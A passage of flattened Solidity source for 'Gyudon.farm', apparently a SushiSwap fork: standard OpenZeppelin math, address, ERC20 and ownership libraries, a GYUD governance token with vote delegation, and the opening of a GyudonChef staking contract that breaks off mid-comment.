when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.6.5; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol pragma solidity ^0.6.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } pragma solidity ^0.6.5; // GyudonToken with Governance. contract GyudonToken is ERC20("Gyudon.farm", "GYUD"), Ownable { // gyudon is an exact copy of SUSHI using SafeMath for uint256; function transfer(address recipient, uint256 amount) public virtual override returns (bool) { return super.transfer(recipient, amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { return super.transferFrom(sender, recipient, amount); } /// @notice Creates `_amount` token to `_to`. Must only be called by the owner (GyudonChef). function mint(address _to, uint256 _amount) public onlyOwner { _mint(_to, _amount); _moveDelegates(address(0), _delegates[_to], _amount); } // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @notice A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( DOMAIN_TYPEHASH, keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( DELEGATION_TYPEHASH, delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "GYUD::delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "GYUD::delegateBySig: invalid nonce"); require(now <= expiry, "GYUD::delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "GYUD::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying GYUDs (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "GYUD::_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } } // File: contracts/GyudonChef.sol pragma solidity ^0.6.5; interface IMigratorChef { // Perform LP token migration from legacy UniswapV2 to GyudonSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // GyudonSwap must mint EXACTLY the same amount of GyudonSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // GyudonChef is an exact copy of SushiSwap // we have commented an few lines to remove the dev fund // the rest is exactly the same // GyudonChef is the master of Gyudon. He can make Gyudon and he is a fair guy. // // Note that it's ownable and the owner wields tremendous power. The ownership // will be transferred to a governance smart contract once GYUD is sufficiently // distributed and the community can show to govern itself. // // Have fun reading it. Hopefully it's bug-free. God bless. contract GyudonChef is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of GYUDs // entitled to a user but 